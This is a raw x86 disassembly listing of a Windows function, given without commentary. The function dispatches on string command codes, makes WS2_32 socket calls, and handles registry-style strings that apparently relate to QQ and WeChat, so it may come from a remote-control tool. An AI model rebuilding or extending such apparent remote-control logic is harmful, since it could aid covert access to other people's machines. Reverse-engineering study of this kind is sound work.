lea eax, [ebp - 0x48]
push eax
mov eax, str.110078
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10039dd4
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10039de4
push ebx
call fcn.100b8c45
add esp, 4
push 0x80000301
push 0
push dword [0x100e6abd]
push 1
mov ebx, 0x1c
mov eax, 0x100c3ad0
call fcn.100b9790
add esp, 0x10
push 0x80000301
push 0
push 0x64
push 1
mov ebx, 0x1c
mov eax, 0x100c34e0
call fcn.100b9790
add esp, 0x10
call fcn.10046c45
push 0x80000301
push 0
push 0x64
push 1
mov ebx, 0x1c
mov eax, 0x100c34e0
call fcn.100b9790
add esp, 0x10
push 0x80000301
push 0
push 0x100e6abd
push 0
push 0
push 0
push reloc.WS2_32.dll_getsockname
push 0
push 0x100494a7
push 3
mov ebx, 0
mov eax, 0x100c3a50
call fcn.100b9790
add esp, 0x28
jmp 0x10039f17
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10039ea0
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dee6a
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10039ee4
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10039f17
push 0x80000301
push 0
push dword [0x100e6abd]
push 1
mov ebx, 0x1c
mov eax, 0x100c3ad0
call fcn.100b9790
add esp, 0x10
call fcn.10046c45
jmp 0x1003a351
push str.110032
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10039f9b
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110032
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10039f8c
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110031
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003a040
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110031
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003a000
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1003a031
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110083
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003a17f
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotocengjingqq_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100bef20
add esp, 0x28
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotocengjingwx_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100bef20
add esp, 0x28
mov dword [ebp - 0x48], eax
push dword [ebp - 0x48]
push 0x100d5d18
push dword [ebp - 0x44]
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003a0ea
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1003a0fa
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x1003a10d
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1003a136
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x50]
push eax
mov eax, str.110083
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x54]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1003a167
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1003a17a
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push 0x100d5acf
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003a1cb
cmp dword [0x100e6a71], 0
je 0x1003a1c6
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 0xc]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
jmp 0x1003a351
push str.110107
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003a217
cmp dword [0x100e6a71], 0
je 0x1003a212
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 0xc]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
jmp 0x1003a351
push str.110108
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003a263
cmp dword [0x100e6a71], 0
je 0x1003a25e
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 0xc]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
jmp 0x1003a351
push str.110105
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003a2b4
call fcn.1003aba1
cmp dword [0x100e6a71], 0
je 0x1003a2af
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 0xc]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
jmp 0x1003a351
push str.110110
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003a30a
cmp dword [0x100e6a71], 0
je 0x1003a305
mov dword [0x100e6a6d], 0
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 0xc]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
jmp 0x1003a351
push 0x100d5ba8
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003a351
cmp dword [0x100e6a71], 0
je 0x1003a351
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 0xc]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 4]
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1003a36d
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1003a37d
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x1003a38d
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1003a3ab
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1003a3a7
imul eax, dword [ebx]
jmp 0x1003a39c
mov ecx, eax
test ecx, ecx
je 0x1003a3ca
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1003a3c3
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1003a3b1
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1003a3e2
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1003a3f2
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1003a402
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1003a420
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1003a41c
imul eax, dword [ebx]
jmp 0x1003a411
mov ecx, eax
test ecx, ecx
je 0x1003a4c8
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1003a43b
push ebx
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1003a44f
push ebx
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1003a463
push ebx
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1003a477
push ebx
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1003a48b
push ebx
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1003a49f
push ebx
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x1003a4b3
push ebx
call fcn.100b8c45
add esp, 4
pop ebx
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1003a426
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1003a4e0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1003a4fe
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1003a4fa
imul eax, dword [ebx]
jmp 0x1003a4ef
mov ecx, eax
test ecx, ecx
je 0x1003a51d
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1003a516
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1003a504
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x1003a535
push ebx
call fcn.100b8c45
add esp, 4
mov esp, ebp
pop ebp
ret 0x14